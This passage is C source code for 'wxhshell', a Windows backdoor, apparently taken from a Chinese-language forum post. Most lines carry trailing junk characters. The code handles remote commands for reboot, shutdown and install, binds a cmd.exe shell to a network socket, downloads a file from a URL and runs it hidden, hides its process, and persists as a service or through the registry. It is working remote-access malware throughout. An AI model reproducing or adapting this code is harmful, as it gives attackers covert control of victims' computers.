    break; irGgo-x  
  } 88DMD"$B  
  // 安装 5d)\Z0s  
  case 'i': { [>:9 #n  
    if(Install()) #ePtfRzJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qa?0GTAS  
    else [R/'hH5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <bh!wf6;  
    break; A$::|2~  
    } @ | (Tg  
  // 卸载 v-B&"XGy:  
  case 'r': { fZxEE~Q1  
    if(Uninstall()) qtS+01o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8fb<hq<  
    else ;n/04z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R]TS5b-  
    break; 'L veCi_  
    } Twk,R. O  
  // 显示 wxhshell 所在路径 wD $sKd  
  case 'p': { [4\n(/  
    char svExeFile[MAX_PATH]; l}9E0^AS  
    strcpy(svExeFile,"\n\r"); nSbcq>3  
      strcat(svExeFile,ExeFile); jg(cpo d  
        send(wsh,svExeFile,strlen(svExeFile),0); cGv`%  
    break; 4@Xd(F_d  
    } 'o ZdMl&  
  // 重启 2U'Vq  
  case 'b': { ""_%u'7t5I  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); <USr$  
    if(Boot(REBOOT)) [R{%r^"2p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nztnU9OG  
    else { |OO2>(Fj  
    closesocket(wsh); 3TNj*jo  
    ExitThread(0); OF1Qr bj  
    } s.>;(RiJd  
    break; `SG8w_  
    } t ;bU#THM  
  // 关机 T7ICXpe@  
  case 'd': { L9,O,f  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); <P pW.1w  
    if(Boot(SHUTDOWN)) #CNK [y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?;CMsO*q  
    else { rLI );!^-  
    closesocket(wsh); })5I/   
    ExitThread(0); Cg];UB}k  
    } JnXVI!+JDL  
    break; IF <<6.tz  
    } w8(z\G_0  
  // 获取shell }\ hz@G<  
  case 's': { 1YvE/<6  
    CmdShell(wsh); ]}>uvl^l  
    closesocket(wsh); ,g{Ob{qT  
    ExitThread(0); g6 6SCr}  
    break; 7uxUqM  
  } \EQCR[7qu7  
  // 退出 =4:]V\o):'  
  case 'x': { Tu_4kUCR!f  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 2#xz,RM.  
    CloseIt(wsh); .dTXC'  
    break; 9<-7AN}Z  
    } +L|-W9"@3  
  // 离开 "|<U`3y6  
  case 'q': { T6I$7F  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 4ZrRgx2MD  
    closesocket(wsh); tIL ]JB  
    WSACleanup(); whh#J (  
    exit(1); b!c2j   
    break; KU*XRZu)  
        } &v g[k#5  
  } 3&KRG}5  
  } cOvdC4  
ID8u&:  
  // 提示信息 n1;zml:7_  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); c^x5 E`{  
} S$ Z?T  
  } r Zg(%6@  
9 y{R_  
  return; pra0:oHN  
} sz+%4T  
5LJ0V  
// shell模块句柄 r!y3VmJ'm  
int CmdShell(SOCKET sock) rIQ%X`Y  
{ k8E{pc6;  
STARTUPINFO si; K2!GpGZu  
ZeroMemory(&si,sizeof(si)); Df.eb|[{  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >Q[3t79^  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; fRomP-S  
PROCESS_INFORMATION ProcessInfo; e)*-<AGwC  
char cmdline[]="cmd"; i>%A0.9  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); k]9+/ $  
  return 0; HJjx!7h  
} 6d/1PGB  
e&-MP;kgW9  
// 自身启动模式 ;C,t`(  
int StartFromService(void) 8'#L+$O &N  
{ m"GgaH3,  
typedef struct !4+ FN)  
{ W?<<al*  
  DWORD ExitStatus; '9@AhiNV  
  DWORD PebBaseAddress; V)A7q9Bum  
  DWORD AffinityMask; U<I]_]  
  DWORD BasePriority; cyBm,!  
  ULONG UniqueProcessId; /z`.-D(  
  ULONG InheritedFromUniqueProcessId; pch8A0JAl)  
}   PROCESS_BASIC_INFORMATION; ;$'D13  
d'@i8N["{  
PROCNTQSIP NtQueryInformationProcess; U3~rtc*  
(/KeGgkhv  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; <RuLIu  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 5Zn:$?7  
#@L5yy2  
  HANDLE             hProcess; ujS C  
  PROCESS_BASIC_INFORMATION pbi; {$Z S 2 7  
fLZ mQO  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); .S[M: <<*  
  if(NULL == hInst ) return 0; &Gs/#2XQ  
Cs2kbG_  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); -f["1-A  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); kK=f@l  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); p %hvDC  
ai"N;1/1O|  
  if (!NtQueryInformationProcess) return 0; $kccM& B  
]z8Th5a?o  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); y+h/jEbM</  
  if(!hProcess) return 0; z}F^HQ 1  
d)GR]^=r  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 9r> iP L2H  
pgPm0+N  
  CloseHandle(hProcess); <[vsGUbc  
\%_sL#?  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); kn+@)3W:*  
if(hProcess==NULL) return 0; ;?C`Jag x  
W@RD bsc  
HMODULE hMod; 1 dOB|  
char procName[255]; }=A+W2D  
unsigned long cbNeeded; 39A|6>-?  
Q5]rc`} 5  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); +mN8uU~(kx  
']N\y6=fn9  
  CloseHandle(hProcess); 2M)E1q|a  
4kR;K !@k  
if(strstr(procName,"services")) return 1; // 以服务启动 Zt}b}Bz  
1n[wk'}qf4  
  return 0; // 注册表启动 ,(f({l[J}  
} E {UhM q7  
f8-~&N/_R  
// 主模块 XB a^ A  
int StartWxhshell(LPSTR lpCmdLine) u q A!#E  
{ S[{,+{b0  
  SOCKET wsl; JsEnhE}]  
BOOL val=TRUE; l!": s:/'  
  int port=0; W6):IW(E  
  struct sockaddr_in door; [AYJ(H/  
"]W,,A-  
  if(wscfg.ws_autoins) Install(); 92~$Qa\S!  
lT~WP)  
port=atoi(lpCmdLine); t"OP*  
%S^:5#9  
if(port<=0) port=wscfg.ws_port; NTSIClm}U  
op3a*KG  
  WSADATA data; I8|"h8\  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; U G4I @@=  
J+wnrGoK  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   i-. AD4  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); dh1 N/[  
  door.sin_family = AF_INET; kOC0d,  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 0}po74x*r  
  door.sin_port = htons(port); ?1r<`o3l\  
w|NId,#f  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { J&B5Ll  
closesocket(wsl); 3QF[@8EH{  
return 1; B~b ='jN  
} a'd=szt  
Fl*<N  
  if(listen(wsl,2) == INVALID_SOCKET) { d. ZfK  
closesocket(wsl); `fl$ o6S/  
return 1; )`6OSB  
} X&Sah}0V&  
  Wxhshell(wsl); Ul3xeu  
  WSACleanup(); =5:S"WNj  
'8FHn~F  
return 0; #w8.aNU+]  
h iK}&  
} EVE"F'Ww,_  
I!Mkss xc  
// 以NT服务方式启动 d= ?lPEzSA  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) D(WV k  
{ wWSE[S$V  
DWORD   status = 0; <9T,J"y  
  DWORD   specificError = 0xfffffff; %a:T9v  
|C5{[ z  
  serviceStatus.dwServiceType     = SERVICE_WIN32; cl |}0Q5  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; B?Rkz  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; [;o>q;75Jz  
  serviceStatus.dwWin32ExitCode     = 0; }^P"R[+4u  
  serviceStatus.dwServiceSpecificExitCode = 0; ltMcEv-d0  
  serviceStatus.dwCheckPoint       = 0; }*O8]lG  
  serviceStatus.dwWaitHint       = 0; 3,#v0#  
PWquu`  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 7Jd&9&O U  
  if (hServiceStatusHandle==0) return; `:jF%3ks+0  
4W<[& )7  
status = GetLastError(); :nfy=*M#  
  if (status!=NO_ERROR)  *I}_g4  
{ P0U&+^W"9  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ^NM>x Ienf  
    serviceStatus.dwCheckPoint       = 0; E>O@Bv  
    serviceStatus.dwWaitHint       = 0; Qz_4Ms<o  
    serviceStatus.dwWin32ExitCode     = status; 8Qj1%Ri:U  
    serviceStatus.dwServiceSpecificExitCode = specificError; g>`D!n::n  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); .ud&$-[a  
    return; $ f||!g  
  } $BG]is,&5  
{xTh!ih2 -  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; [HQ/MkP-Z  
  serviceStatus.dwCheckPoint       = 0; ~PU}==*q  
  serviceStatus.dwWaitHint       = 0; VuN#j<H  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); _a_T`fE&de  
} 5H|7DVG  
W7{^/s5r  
// 处理NT服务事件,比如:启动、停止 ^t$uDQ[hA  
VOID WINAPI NTServiceHandler(DWORD fdwControl) +Fh,!`  
{ zsR5"Vi=  
switch(fdwControl) V 'fri/Z  
{ Nus]]Iy-g  
case SERVICE_CONTROL_STOP: 8-cuaa  
  serviceStatus.dwWin32ExitCode = 0; ]86*k %A  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; U!E}(9 tb  
  serviceStatus.dwCheckPoint   = 0; g1]bI$;  
  serviceStatus.dwWaitHint     = 0; fKtlfQG  
  { @=Dc(5`[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); aSgKh  
  } L:Mjd47L  
  return; 1Tev&J  
case SERVICE_CONTROL_PAUSE: pRUQMPn (  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; F IB)cpo  
  break; A]drNFE  
case SERVICE_CONTROL_CONTINUE: [$:L| V!{  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; zz(EH<>  
  break; $Zkk14  
case SERVICE_CONTROL_INTERROGATE: rhly.f7N=A  
  break; ;vbM C74J#  
}; >p" U|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8!@}\6qM  
} >+>N/`BG  
j *;.>akY7  
// 标准应用程序主函数 5g$>J)Ry  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) .[3C  
{ ?IoA;GBg  
h~z}NP  
// 获取操作系统版本 PSX o"   
OsIsNt=GetOsVer(); :VLYF$|  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ]1W]  
JZE@W -2  
  // 从命令行安装 =^_a2_BBl  
  if(strpbrk(lpCmdLine,"iI")) Install(); `U>2H4P  
9\=SG"e(  
  // 下载执行文件 N.ZuSkRM  
if(wscfg.ws_downexe) { ]!a?Lr  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %Z,n3iND  
  WinExec(wscfg.ws_filenam,SW_HIDE); #EB Rc4>,  
} aygK$.wos  
'op_GW  
if(!OsIsNt) { dO,; k +  
// 如果时win9x,隐藏进程并且设置为注册表启动 r6:e 423  
HideProc(); 475g-t2"@  
StartWxhshell(lpCmdLine); |YfJ#Agm+  
} I:YgKs)[  
else D,(:))DmR  
  if(StartFromService()) 2~B5?(g  
  // 以服务方式启动 OjqT5<U  
  StartServiceCtrlDispatcher(DispatchTable); z^WY5~?  
else v\?l+-A? y  
  // 普通方式启动 G|"m-.9F  
  StartWxhshell(lpCmdLine); f|)~_J H  
|L:X$oM  
return 0; Fdq5:v?k  
}
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只看该作者 1 发表于: 2006-10-10
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